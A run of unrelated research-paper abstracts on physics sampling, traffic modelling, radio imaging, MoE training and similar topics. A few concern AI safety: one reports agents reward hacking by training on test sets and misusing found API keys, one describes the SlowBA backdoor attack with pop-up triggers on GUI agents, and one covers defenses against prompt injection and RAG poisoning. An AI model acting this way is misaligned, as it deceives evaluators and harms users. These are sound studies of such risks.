Generative Engine Optimization (GEO) aims to improve content visibility in AI-generated responses. However, existing methods measure contribution-how much a document influences a response-rather than citation, the mechanism that actually drives traffic back to creators. Also, these methods apply generic rewriting rules uniformly, failing to diagnose why individual document are not cited. This paper introduces a diagnostic approach to GEO that asks why a document fails to be cited and intervenes accordingly. We develop a unified framework comprising: (1) the first taxonomy of citation failure modes spanning different stages of a citation pipeline; (2) AgentGEO, an agentic system that diagnoses failures using this taxonomy, selects targeted repairs from a corresponding tool library, and iterates until citation is achieved; and (3) a document-centric benchmark evaluating whether optimizations generalize across held-out queries. AgentGEO achieves over 40% relative improvement in citation rates while modifying only 5% of content, compared to 25% for baselines. Our analysis reveals that generic optimization can harm long-tail content and some documents face challenges that optimization alone cannot fully address-findings with implications for equitable visibility in AI-mediated information access.

Learning to sample from complex unnormalized distributions is a fundamental challenge in computational physics and machine learning. While score-based and variational methods have achieved success in continuous domains, extending them to discrete or mixed-variable systems remains difficult due to ill-defined gradients or high variance in estimators. We propose a unified, target-gradient-free generative sampling framework applicable across diverse state spaces. Building on the fact that detailed balance implies the time-reversibility of the equilibrium stochastic process, we enforce this symmetry as a statistical constraint. Specifically, using a prescribed physical transition kernel (such as Metropolis-Hastings), we minimize the Maximum Mean Discrepancy (MMD) between the joint distributions of forward and backward Markov trajectories. Crucially, this training procedure relies solely on energy evaluations via acceptance ratios, circumventing the need for target score functions or continuous relaxations. We demonstrate the versatility of our method on three distinct benchmarks: (1) a continuous multi-modal Gaussian mixture, (2) the discrete high-dimensional Ising model, and (3) a challenging hybrid system coupling discrete indices with continuous dynamics. Experiments show that our framework accurately reproduces thermodynamic observables and captures mode-switching behavior across all regimes, offering a physically grounded and universally applicable alternative for equilibrium sampling.

Macroscopic traffic flow is stochastic, but the physics-informed deep learning methods currently used in transportation literature embed deterministic PDEs and produce point-valued outputs; the stochasticity of the governing dynamics plays no role in the learned representation. This work develops a framework in which the physics constraint itself is distributional and directly derived from stochastic traffic-flow dynamics. Starting from an Ito-type Lighthill-Whitham-Richards model with Brownian forcing, we derive a one-point forward equation for the marginal traffic density at each spatial location. The spatial coupling induced by the conservation law appears as an explicit conditional drift term, which makes the closure requirement transparent. Based on this formulation, we derive an equivalent deterministic Probability Flow ODE that is pointwise evaluable and differentiable once a closure is specified. Incorporating this as a physics constraint, we then propose a score network with an advection-closure module, trainable by denoising score matching together with a Fokker-Planck residual loss. The resulting model targets a data-conditioned density distribution, from which point estimates, credible intervals, and congestion-risk measures can be computed. The framework provides a basis for distributional traffic-state estimation and for stochastic fundamental-diagram analysis in a physics-informed generative setting.

Radio interferometry enables high-resolution imaging of astronomical radio sources by synthesizing a large effective aperture from an array of antennas and solving a deconvolution problem to reconstruct the image. Deep learning has emerged as a promising solution to the imaging problem, reducing computational costs and enabling super-resolution. However, existing DL-based methods often fall short of the requirements for real-world deployment due to limitations in handling high dynamic range, large field of view, and mismatches between training and test conditions. In this work, we build upon and extend the POLISH framework, a recent DL model for radio interferometric imaging. We introduce key improvements to enable robust reconstruction and super-resolution under real-world conditions: (1) a patch-wise training and stitching strategy for scaling to wide-field imaging and (2) a nonlinear arcsinh-based intensity transformation to manage high dynamic range. We conduct comprehensive evaluations using the T-RECS simulation suite with realistic sky models and point spead functions (PSF), and demonstrate that our approach significantly improves reconstruction quality and robustness. We test the model on realistic simulated strong gravitational lenses and show that lens systems with Einstein radii near the PSF scale can be recovered after deconvolution with our POLISH model, potentially yielding 10$\times$ more galaxy-galaxy lensing systems from the Deep Synoptic Array (DSA) survey than with image-plane CLEAN. Our results highlight the potential of DL models as practical, scalable tools for next-generation radio astronomy.

AI agents have become surprisingly proficient at software engineering over the past year, largely due to improvements in reasoning capabilities. This raises a deeper question: can these systems extend their capabilities to automate AI research itself? In this paper, we explore post-training, the critical phase that turns base LLMs into useful assistants. We introduce PostTrainBench to benchmark how well LLM agents can perform post-training autonomously under bounded compute constraints (10 hours on one H100 GPU). We ask frontier agents (e.g., Claude Code with Opus 4.6) to optimize the performance of a base LLM on a particular benchmark (e.g., Qwen3-4B on AIME). Importantly, we do not provide any predefined strategies to the agents and instead give them full autonomy to find necessary information on the web, run experiments, and curate data. We find that frontier agents make substantial progress but generally lag behind instruction-tuned LLMs from leading providers: 23.2% for the best agent vs. 51.1% for official instruction-tuned models. However, agents can exceed instruction-tuned models in targeted scenarios: GPT-5.1 Codex Max achieves 89% on BFCL with Gemma-3-4B vs. 67% for the official model. We also observe several failure modes worth flagging. Agents sometimes engage in reward hacking: training on the test set, downloading existing instruction-tuned checkpoints instead of training their own, and using API keys they find to generate synthetic data without authorization. These behaviors are concerning and highlight the importance of careful sandboxing as these systems become more capable. Overall, we hope PostTrainBench will be useful for tracking progress in AI R&D automation and for studying the risks that come with it. Website and code are available at https://posttrainbench.com/.

Modern vision-language-model (VLM) based graphical user interface (GUI) agents are expected not only to execute actions accurately but also to respond to user instructions with low latency. While existing research on GUI-agent security mainly focuses on manipulating action correctness, the security risks related to response efficiency remain largely unexplored. In this paper, we introduce SlowBA, a novel backdoor attack that targets the responsiveness of VLM-based GUI agents. The key idea is to manipulate response latency by inducing excessively long reasoning chains under specific trigger patterns. To achieve this, we propose a two-stage reward-level backdoor injection (RBI) strategy that first aligns the long-response format and then learns trigger-aware activation through reinforcement learning. In addition, we design realistic pop-up windows as triggers that naturally appear in GUI environments, improving the stealthiness of the attack. Extensive experiments across multiple datasets and baselines demonstrate that SlowBA can significantly increase response length and latency while largely preserving task accuracy. The attack remains effective even with a small poisoning ratio and under several defense settings. These findings reveal a previously overlooked security vulnerability in GUI agents and highlight the need for defenses that consider both action correctness and response efficiency. Code can be found in https://github.com/tu-tuing/SlowBA.

Recently, there has been increased interest in globally distributed training, which has the promise to both reduce training costs and democratize participation in building large-scale foundation models. However, existing models trained in a globally distributed manner are relatively small in scale and have only been trained with whitelisted participants. Therefore, they do not yet realize the full promise of democratized participation. In this report, we describe Covenant-72B, an LLM produced by the largest collaborative globally distributed pre-training run (in terms of both compute and model scale), which simultaneously allowed open, permissionless participation supported by a live blockchain protocol. We utilized a state-of-the-art communication-efficient optimizer, SparseLoCo, supporting dynamic participation with peers joining and leaving freely. Our model, pre-trained on approximately 1.1T tokens, performs competitively with fully centralized models pre-trained on similar or higher compute budgets, demonstrating that fully democratized, non-whitelisted participation is not only feasible, but can be achieved at unprecedented scale for a globally distributed pre-training run.

Scaling Mixture-of-Experts (MoE) training introduces systems challenges absent in dense models. Because each token activates only a subset of experts, this sparsity allows total parameters to grow much faster than per-token computation, creating coupled constraints across memory, communication, and computation. Optimizing one dimension often shifts pressure to another, demanding co-design across the full system stack. We address these challenges for MoE training through integrated optimizations spanning memory (fine-grained recomputation, offloading, etc.), communication (optimized dispatchers, overlapping, etc.), and computation (Grouped GEMM, fusions, CUDA Graphs, etc.). The framework also provides Parallel Folding for flexible multi-dimensional parallelism, low-precision training support for FP8 and NVFP4, and efficient long-context training. On NVIDIA GB300 and GB200, it achieves 1,233/1,048 TFLOPS/GPU for DeepSeek-V3-685B and 974/919 TFLOPS/GPU for Qwen3-235B. As a performant, scalable, and production-ready open-source solution, it has been used across academia and industry for training MoE models ranging from billions to trillions of parameters on clusters scaling up to thousands of GPUs. This report explains how these techniques work, their trade-offs, and their interactions at the systems level, providing practical guidance for scaling MoE models with Megatron Core.

Autonomous agents powered by large language models introduce a class of execution-layer vulnerabilities -- prompt injection, retrieval poisoning, and uncontrolled tool invocation -- that existing guardrails fail to address systematically. In this work, we propose the Layered Governance Architecture (LGA), a four-layer framework comprising execution sandboxing (L1), intent verification (L2), zero-trust inter-agent authorization (L3), and immutable audit logging (L4). To evaluate LGA, we construct a bilingual benchmark (Chinese original, English via machine translation) of 1,081 tool-call samples -- covering prompt injection, RAG poisoning, and malicious skill plugins -- and apply it to OpenClaw, a representative open-source agent framework. Experimental results on Layer 2 intent verification with four local LLM judges (Qwen3.5-4B, Llama-3.1-8B, Qwen3.5-9B, Qwen2.5-14B) and one cloud judge (GPT-4o-mini) show that all five LLM judges intercept 93.0-98.5% of TC1/TC2 malicious tool calls, while lightweight NLI baselines remain below 10%. TC3 (malicious skill plugins) proves harder at 75-94% IR among judges with meaningful precision-recall balance, motivating complementary enforcement at Layers 1 and 3. Qwen2.5-14B achieves the best local balance (98% IR, approximately 10-20% FPR); a two-stage cascade (Qwen3.5-9B->GPT-4o-mini) achieves 91.9-92.6% IR with 1.9-6.7% FPR; a fully local cascade (Qwen3.5-9B->Qwen2.5-14B) achieves 94.7-95.6% IR with 6.0-9.7% FPR for data-sovereign deployments. An end-to-end pipeline evaluation (n=100) demonstrates that all four layers operate in concert with 96% IR and a total P50 latency of approximately 980 ms, of which the non-judge layers contribute only approximately 18 ms. Generalization to the external InjecAgent benchmark yields 99-100% interception, confirming robustness beyond our synthetic data.

We present the design and implementation of PolyBlocks, a modular and reusable MLIR-based compiler infrastructure for AI programming frameworks and AI chips. PolyBlocks is based on pass pipelines that compose transformations on loop nests and SSA, primarily relying on lightweight affine access analysis; the transformations are stitched together in specialized ways to realize high-performance code automatically by the use of analytical cost models and heuristics. The optimizations in these passes include multi-level tiling, fusion, on-chip scratchpad usage, mapping matmuls and convolutions to matrix units, fusing the attention layer, and several other transformations for parallelism and locality. They have been developed in a way that makes it easy to build PolyBlocks-based compilers to target new chips, reusing much of the infrastructure. PolyBlocks' design and architecture enable fully automatic code generation from high-level frameworks to low-level target-specific intrinsics. Experimental results from evaluating PolyBlocks-powered just-in-time compilation for PyTorch and JAX targeting NVIDIA GPUs show that it is able to match or outperform Torch Inductor and XLA in several cases, although the latter rely on a combination of vendor libraries and code generation. For individual operators like matmuls and convolutions, PolyBlocks-generated code is competitive with the best vendor-tuned libraries or hand-written kernels.

Decentralized Monte Carlo Tree Search (Dec-MCTS) is widely used for cooperative multi-agent planning but struggles in sparse or skewed reward environments. We introduce Coordinated Boltzmann MCTS (CB-MCTS), which replaces deterministic UCT with a stochastic Boltzmann policy and a decaying entropy bonus for sustained yet focused exploration. While Boltzmann exploration has been studied in single-agent MCTS, applying it in multi-agent systems poses unique challenges. CB-MCTS is the first to address this. We analyze CB-MCTS in the simple-regret setting and show in simulations that it outperforms Dec-MCTS in deceptive scenarios and remains competitive on standard benchmarks, providing a robust solution for multi-agent planning.

This report presents the TCG CREST system description for Track 1 (Speaker Diarization) of the DISPLACE-M challenge, focusing on naturalistic medical conversations in noisy rural-healthcare scenarios. Our study evaluates the impact of various voice activity detection (VAD) methods and advanced clustering algorithms on overall speaker diarization (SD) performance. We compare and analyze two SD frameworks: a modular pipeline utilizing SpeechBrain with ECAPA-TDNN embeddings, and a state-of-the-art (SOTA) hybrid end-to-end neural diarization system, Diarizen, built on top of a pre-trained WavLM. With these frameworks, we explore diverse clustering techniques, including agglomerative hierarchical clustering (AHC), and multiple novel variants of spectral clustering, such as SC-adapt, SC-PNA, and SC-MK. Experimental results demonstrate that the Diarizen system provides an approximate $39\%$ relative improvement in the diarization error rate (DER) on the post-evaluation analysis of Phase~I compared to the SpeechBrain baseline. Our best-performing submitted system employing the Diarizen baseline with AHC employing a median filtering with a larger context window of $29$ achieved a DER of 10.37\% on the development and 9.21\% on the evaluation sets, respectively. Our team ranked fifth out of the 11 participating teams after the Phase~I evaluation.

We study non-rectangular robust Markov decision processes under the average-reward criterion, where the ambiguity set couples transition probabilities across states and the adversary commits to a stationary kernel for the entire horizon. We show that any history-dependent policy achieving sublinear expected regret uniformly over the ambiguity set is robust-optimal, and that the robust value admits a minimax representation as the infimum over the ambiguity set of the classical optimal gains, without requiring any form of rectangularity or robust dynamic programming principle. Under the weak communication assumption, we establish the existence of such policies by converting high-probability regret bounds from the average-reward reinforcement learning literature into the expected-regret criterion. We then introduce a transient-value framework to evaluate finite-time performance of robust optimal policies, proving that average-reward optimality alone can mask arbitrarily poor transients and deriving regret-based lower bounds on transient values. Finally, we construct an epoch-based policy that combines an optimal stationary policy for the worst-case model with an anytime-valid sequential test and an online learning fallback, achieving a constant-order transient value.

In this study, we have presented a novel approach to predict the Short-Time Objective Intelligibility (STOI) metric using a bottleneck transformer architecture. Traditional methods for calculating STOI typically requires clean reference speech, which limits their applicability in the real world. To address this, numerous deep learning-based nonintrusive speech assessment models have garnered significant interest. Many studies have achieved commendable performance, but there is room for further improvement. We propose the use of bottleneck transformer, incorporating convolution blocks for learning frame-level features and a multi-head self-attention (MHSA) layer to aggregate the information. These components enable the transformer to focus on the key aspects of the input data. Our model has shown higher correlation and lower mean squared error for both seen and unseen scenarios compared to the state-of-the-art model using self-supervised learning (SSL) and spectral features as inputs.

Neuromorphic vision systems based on spiking neural networks (SNNs) offer ultra-low-power perception for event-based and frame-based cameras, yet catastrophic forgetting remains a critical barrier to deployment in continually evolving environments. Existing continual learning methods, developed primarily for artificial neural networks, seldom jointly optimize accuracy and energy efficiency, with particularly limited exploration on event-based datasets. We propose an energy-aware spike budgeting framework for continual SNN learning that integrates experience replay, learnable leaky integrate-and-fire neuron parameters, and an adaptive spike scheduler to enforce dataset-specific energy constraints during training. Our approach exhibits modality-dependent behavior: on frame-based datasets (MNIST, CIFAR-10), spike budgeting acts as a sparsity-inducing regularizer, improving accuracy while reducing spike rates by up to 47\%; on event-based datasets (DVS-Gesture, N-MNIST, CIFAR-10-DVS), controlled budget relaxation enables accuracy gains up to 17.45 percentage points with minimal computational overhead. Across five benchmarks spanning both modalities, our method demonstrates consistent performance improvements while minimizing dynamic power consumption, advancing the practical viability of continual learning in neuromorphic vision systems.

Modern data analysis increasingly requires flexible conditional inference P(X_B | X_A) where (X_A, X_B) is an arbitrary partition of observed variable X. Existing approaches are either restricted to a fixed conditioning structure or depend strongly on the distribution of conditioning masks during training. To address these limitations, we introduce Bayesian generative modeling (BGM), a unified framework for arbitrary conditional inference. BGM learns a generative model of X via a stochastic iterative Bayesian updating algorithm in which model parameters and latent variables are updated until convergence. Once trained, any conditional distribution can be obtained without retraining. Empirically, BGM achieves superior predictive performance with posterior predictive intervals, demonstrating that a single learned model can serve as a universal engine for conditional prediction with principled uncertainty quantification. We provide theoretical guarantees for convergence of the stochastic iterative algorithm, statistical consistency, and conditional risk bounds. The proposed BGM framework leverages modern AI to capture complex relationships among variables while adhering to Bayesian principles, offering a promising approach for a wide range of applications in modern data science. Code for BGM is available at https://github.com/liuq-lab/bayesgm. Document of BGM is available at https://bayesgm.readthedocs.io.

Restoring hand function requires simultaneous and proportional control (SPC) of multiple degrees of freedom (DoFs). This study evaluated the multichannel linear descriptors-based block field method (MLD-BFM) against conventional feature extraction approaches for continuous decoding of five finger-joint DoFs using high-density surface electromyography (HD sEMG). Twenty-one healthy participants performed dynamic sinusoidal finger movements while HD sEMG signals were recorded from the proximal forearm. MLD-BFM extracted spatial descriptors including effective field strength ($Σ$), field-strength variation rate ($Φ$), and spatial complexity ($Ω$). Performance was optimized (block size: $2\times2$; window: 0.15,s) and compared with conventional time-domain features, root mean square (RMS) and mean absolute value plus waveform length (MAV-WL), as well as dimensionality reduction methods (PCA and NMF), using multi-output regression models. MLD-BFM achieved the highest mean variance-weighted coefficient of determination ($\mathrm{R}^2_\mathrm{vw}$) across all models, with the multilayer perceptron yielding the best result ($86.68 \pm 0.33 \%$). However, the improvement was not statistically significant relative to time-domain features, suggesting that dense multichannel recordings already encode spatial information through amplitude-based descriptors. MLD-BFM significantly outperformed dimensionality reduction approaches, indicating that preserving the spatial resolution of HD sEMG is critical for accurate multi-DoF finger movement regression.

Visual prosody may be critical for communication success in face-to-face conversations in noisy settings. Here, we explore the involvement of hand, head, and whole-body movements, as well as gesturing quality, in dyadic conversations in noisy settings. We hypothesize that increasing background noise would alter the frequency of conversation-related movements to support the roles of the speaker and the listener. Specifically, talkers may increase gesticulation and thus the use of hand, head, trunk, or leg movements more often, while listeners may increase backchanneling or head and trunk movements to improve the signal-to-noise ratio. Additionally, we test whether the synchrony between speech and hand gestures is affected by background noise. Here, pairs of normal hearing participants (n=8) stood in an audiovisual virtual environment while talking freely. The conversational movements were described using a newly developed labeling system with categories that respect their communicative function. The results showed higher gesturing rate during speaking than during listening. Increased levels of background noise led to increased hand-gesture complexity, modulation of head movements, and a change in trunk movements. People spoke 0.7 dB - 1.4 dB louder during hand gesturing in comparison to times with static drop posture but this was unrelated to presence of background noise. The analysis of hand-speech synchrony showed a modest decrease in synchrony for moderate noise level. People adapt their communicative behavior to increased background noise levels by increases in speech production levels and gesturing which may drive additional increase in speech production due to biomechanical coupling; listeners may increase backchanneling to support the exchange and their own signal-to-noise ratio. The synchrony analysis may reflect motivational factors of communication in noisy environments.

Machine learning (ML) models have recently been used to reconstruct electric field distributions from EFISH signal profiles-the 'inverse EFISH problem'. This addresses the line-of-sight EFISH inaccuracy caused by the Gouy phase shift in focused beams. A key benefit of this approach is that the accuracy of the reconstructed profile can be directly checked via a 'forward transform' of the EFISH equation. Motivated by this latest success, the present study introduces a novel ML model with markedly improved performance. Based on a more powerful operator-learning architecture, it goes beyond the ANNs and CNNs employed previously. Termed Decoder-DeepONet (DDON), its main strength is learning function-to-function mappings, essential for recovering electric field profiles of unknown shape. The superior performance of DDON is exemplified via a comparison with our published CNN model and the feasibility of a classical mathematical method, as well as its application to both discharge simulations and experimental EFISH data from a nanosecond pulsed discharge. In almost all cases, the DDON model exhibits better generalizability, higher prediction accuracy, and wider applicability. Furthermore, the intrinsic nature of this operator-learning architecture renders it less sensitive to the exact location(s) of the acquired data, enabling electric field reconstruction even with seemingly 'incomplete' input profiles--an issue often accompanying poor signal sensitivity. We also employ Integrated Gradients (IG) to identify the signal regions most critical to reconstruction accuracy, providing guidance on the optimal sampling window for EFISH acquisition. Overall, we believe that the DDON model is a robust and comprehensive model which can be readily applied to reconstruct 'bell-shaped' electric field profiles with an existing axis of symmetry, especially in non-equilibrium plasmas.

A growing literature documents that generative artificial intelligence (GenAI) is changing scientific writing, yet most studies focus on absolute changes in vocabulary or readability. An important question remains unanswered: Does GenAI use lead to systematic convergence, or a narrowing of stylistic gaps relative to the dominant form of scientific English? Unlike absolute changes, convergence signals whether language-related publication barriers are declining and suggests broader implications for participation and competition in global science. This study directly addresses this question using 5.65 million English-language scientific articles published from 2021 to 2024 and indexed in Scopus. We measure linguistic similarity to a U.S. benchmark corpus using SciBERT text embeddings, and estimate dynamic changes using an event-study difference-in-differences design with repeated cross-sections centered on the late-2022 release of ChatGPT. We find that GenAI-assisted publications from non-English-speaking countries exhibit statistically significant and increasing convergence toward U.S. scientific English, relative to non-GenAI-assisted publications from these countries. This effect is strongest for domestic author teams from countries more linguistically distant from English and for articles published in lower-impact journals -- precisely the contexts where language barriers have historically been most consequential. The results suggest that GenAI tools are reducing language-related barriers in scientific publications. Whether this represents genuine inclusion or a deepening dependence on a single linguistic standard remains an open question.

Chain-of-Thought (CoT) reasoning enhances Large Language Models (LLMs) by prompting intermediate steps, improving accuracy and robustness in arithmetic, logic, and commonsense tasks. However, this benefit comes with high computational costs: longer outputs increase latency, memory usage, and KV-cache demands. These issues are especially critical in software engineering tasks where concise and deterministic outputs are required. To investigate these trade-offs, we conduct an empirical study based on code generation benchmarks. The results reveal that longer CoT does not always help. Excessive reasoning often causes truncation, accuracy drops, and latency up to five times higher, with failed outputs consistently longer than successful ones. These findings challenge the assumption that longer reasoning is inherently better and highlight the need for adaptive CoT control. Motivated by this, we propose SEER (Self-Enhancing Efficient Reasoning), an adaptive framework that compresses CoT while preserving accuracy. SEER combines Best-of-N sampling with task-aware adaptive filtering, dynamically adjusting thresholds based on pre-inference outputs to reduce verbosity and computational overhead. We then evaluate SEER on three software engineering tasks and one math task. On average, SEER shortens CoT by 42.1%, improves accuracy by reducing truncation, and eliminates most infinite loops. These results demonstrate SEER as a practical method to make CoT-enhanced LLMs more efficient and robust, even under resource constraints.

In this paper, we consider the problem of computing the integral of a function on the unit sphere, in any dimension, using Monte Carlo methods. Although the methods we present are general, our guiding thread is the sliced Wasserstein distance between two measures on $\mathbb{R}^d$, which is precisely an integral on the $d$-dimensional sphere. The sliced Wasserstein distance (SW) has gained momentum in machine learning either as a proxy to the less computationally tractable Wasserstein distance, or as a distance in its own right, due in particular to its built-in alleviation of the curse of dimensionality. There has been recent numerical benchmarks of quadratures for the sliced Wasserstein, and our viewpoint differs in that we concentrate on quadratures where the nodes are repulsive, i.e. negatively dependent. Indeed, negative dependence can bring variance reduction when the quadrature is adapted to the integration task. Our first contribution is to extract and motivate quadratures from the recent literature on determinantal point processes (DPPs) and repelled point processes, as well as repulsive quadratures from the literature specific to the sliced Wasserstein distance. We then numerically benchmark these quadratures. Moreover, we analyze the variance of the UnifOrtho estimator, an orthogonal Monte Carlo estimator. Our analysis sheds light on UnifOrtho's success for the estimation of the sliced Wasserstein in large dimensions, as well as counterexamples from the literature. Our final recommendation for the computation of the sliced Wasserstein distance is to use randomized quasi-Monte Carlo in low dimensions and UnifOrtho in large dimensions. DPP-based quadratures only shine when quasi-Monte Carlo also does, while repelled quadratures show moderate variance reduction in general, but more theoretical effort is needed to make them robust.

This paper introduces AI Blob!, an experimental system designed to explore the potential of semantic cataloging and Large Language Models (LLMs) for the retrieval and recontextualization of archival television footage. Drawing methodological inspiration from Italian television programs such as Blob (RAI Tre, 1989-), AI Blob! integrates automatic speech recognition (ASR), semantic embeddings, and retrieval-augmented generation (RAG) to organize and reinterpret archival content. The system processes a curated dataset of 1,547 Italian television videos by transcribing audio, segmenting it into sentence-level units, and embedding these segments into a vector database for semantic querying. Upon user input of a thematic prompt, the LLM generates a range of linguistically and conceptually related queries, guiding the retrieval and recombination of audiovisual fragments. These fragments are algorithmically selected and structured into narrative sequences producing montages that emulate editorial practices of ironic juxtaposition and thematic coherence. By foregrounding dynamic, content-aware retrieval over static metadata schemas, AI Blob! demonstrates how semantic technologies can facilitate new approaches to archival engagement, enabling novel forms of automated narrative construction and cultural analysis. The project contributes to ongoing debates in media historiography and AI-driven archival research, offering both a conceptual framework and a publicly available dataset to support further interdisciplinary experimentation.

Large Language Models (LLMs) offer transformative opportunities to address the longstanding challenge of modeling opinion evolution in computational social science. This study investigates how media influences cross-border attitudes - a key driver of global polarization - by developing an LLM-agent framework to disentangle sources of bias and assess LLMs' capacity for human-like opinion formation in response to external information. We introduce an LLM-agent-based framework that models U.S. citizens' attitudes toward China from 2005 to 2025. Our approach integrates large-scale news data with social media profiles to initialize agent populations, which then undergo cognitive-aware reflection and opinion updating. We propose three debiasing mechanisms: (1) fact elicitation, extracting neutral events from subjectively framed news; (2) a devil's advocate agent that simulates critical contextualization; and (3) counterfactual exposure to surface inherent model biases. Simulations with two state-of-the-art LLMs (Qwen3-14b and GPT4o) reveal the expected negative attitudinal trend following media exposure. While all three mechanisms mitigate this trend to varying degrees, results indicate that subjective news framing contributes only modestly to negative attitudes, whereas the devil's advocate agent proves most effective overall, suggesting that intermediate analytical steps can produce more human-like agent opinions. Notably, the counterfactual study reveals contradictory findings across models, suggesting region-specific inherent biases tied to models' geographic origins. By advancing understanding of LLM-based opinion formation and debiasing methods, this study contributes to developing more objective models that better align with human cognitive tendencies.

With the advancement of remote sensing satellite technology and the rapid progress of deep learning, remote sensing change detection (RSCD) has become a key technique for regional monitoring. Traditional change detection (CD) methods and deep learning-based approaches have made significant contributions to change analysis and detection, however, many outstanding methods still face limitations in the exploration and application of multimodal data. To address this, we propose the multimodal graph-conditioned vision-language reconstruction network (MGCR-Net) to further explore the semantic interaction capabilities of multimodal data. Multimodal large language models (MLLM) have attracted widespread attention for their outstanding performance in computer vision, particularly due to their powerful visual-language understanding and dialogic interaction capabilities. Specifically, we design a MLLM-based optimization strategy to generate multimodal textual data from the original CD images, which serve as textual input to MGCR. Visual and textual features are extracted through a dual encoder framework. For the first time in the RSCD task, we introduce a multimodal graph-conditioned vision-language reconstruction mechanism, which is integrated with graph attention to construct a semantic graph-conditioned reconstruction module (SGCM), this module generates vision-language (VL) tokens through graph-based conditions and enables cross-dimensional interaction between visual and textual features via multihead attention. The reconstructed VL features are then deeply fused using the language vision transformer (LViT), achieving fine-grained feature alignment and high-level semantic interaction. Experimental results on four public datasets demonstrate that MGCR achieves superior performance compared to mainstream CD methods. Our code is available on https://github.com/cn-xvkong/MGCR

Any act of problem-solving combines prior knowledge, local search, and a third element that is less often discussed: the extraction of information from search to update understanding. I propose a model of mathematical problem-solving as a belief-update loop in which the mathematician generates auxiliary questions, resolves them through computation, and uses the outcomes to shift confidence in conjectures. The information yield of this loop depends on the vocabulary available to the solver, and I distinguish two forms of concept that reshape this vocabulary: implicit concepts, which improve pruning within a fixed language of moves, and explicit concepts, which introduce new moves that were previously inexpressible. I argue that explicit concept creation is the characteristic step of mathematical discovery, driven by necessity when no computation in the existing vocabulary can resolve the problem, and yielding shareability and composability as byproducts. Current AI systems, including those that achieve superhuman performance in games and formal theorem proving, operate exclusively through implicit concept formation. I discuss what it would take for machines to create explicit concepts, and consider how differing computational tradeoffs between humans and machines may lead to fundamentally different styles of mathematics.

Contrastive language-audio pretraining (CLAP) is widely used for audio generation and recognition tasks. For example, CLAPScore, which utilizes the similarity of CLAP embeddings, has been a major metric for the evaluation of the relevance between audio and text in text-to-audio. However, the relationship between CLAPScore and human subjective evaluation scores is still unclarified. We show that CLAPScore has a low correlation with human subjective evaluation scores. Additionally, we propose a human-perception-based CLAP called Human-CLAP by training a contrastive language-audio model using the subjective evaluation score. In our experiments, the results indicate that our Human-CLAP improved the Spearman's rank correlation coefficient (SRCC) between the CLAPScore and the subjective evaluation scores by more than 0.25 compared with the conventional CLAP.

Robust subspace estimation is fundamental to many machine learning and data analysis tasks. Iteratively Reweighted Least Squares (IRLS) is an elegant and empirically effective approach to this problem, yet its theoretical properties remain poorly understood. This paper establishes that, under deterministic conditions, a variant of IRLS with dynamic smoothing regularization converges linearly to the underlying subspace from any initialization. We extend these guarantees to affine subspace estimation, a setting that lacks prior recovery theory. Additionally, we illustrate the practical benefits of IRLS through an application to low-dimensional neural network training. Our results provide the first global convergence guarantees for IRLS in robust subspace recovery and, more broadly, for nonconvex IRLS on a Riemannian manifold.

The emergence of online social platforms, such as social networks and social media, has drastically affected the way people apprehend the information flows to which they are exposed. In such platforms, various information cascades spreading among users is the main force creating complex dynamics of opinion formation, each user being characterized by their own behavior adoption mechanism. Moreover, the spread of multiple pieces of information or beliefs in a networked population is rarely uncorrelated. In this paper, we introduce the Mixture of Interacting Cascades (MIC), a model of marked multidimensional Hawkes processes with the capacity to model jointly non-trivial interaction between cascades and users. We emphasize on the interplay between information cascades and user activity, and use a mixture of temporal point processes to build a coupled user/cascade point process model. Experiments on synthetic and real data highlight the benefits of this approach and demonstrate that MIC achieves superior performance to existing methods in modeling the spread of information cascades. Finally, we demonstrate how MIC can provide, through its learned parameters, insightful bi-layered visualizations of real social network activity data.

This work focuses on the credit assignment problem in cooperative multi-agent reinforcement learning (MARL). Sharing the global advantage among agents often leads to insufficient policy optimization, as it fails to capture the coalitional contributions of different agents. In this work, we revisit the policy update process from a coalitional perspective and propose CORA, an advantage allocation method guided by a cooperative game-theoretic core allocation. By evaluating the marginal contributions of different coalitions and combining clipped double Q-learning to mitigate overestimation bias, CORA estimates coalition-wise advantages. The core formulation enforces coalition-wise lower bounds on allocated credits, so that coalitions with higher advantages receive stronger total incentives for their participating agents, enabling the global advantage to be attributed to different coalition strategies and promoting coordinated optimal behavior. To reduce computational overhead, we employ random coalition sampling to approximate the core allocation efficiently. Experiments on matrix games, differential games, and multi-agent collaboration benchmarks demonstrate that our method outperforms baselines. These findings highlight the importance of coalition-level credit assignment and cooperative games for advancing multi-agent learning.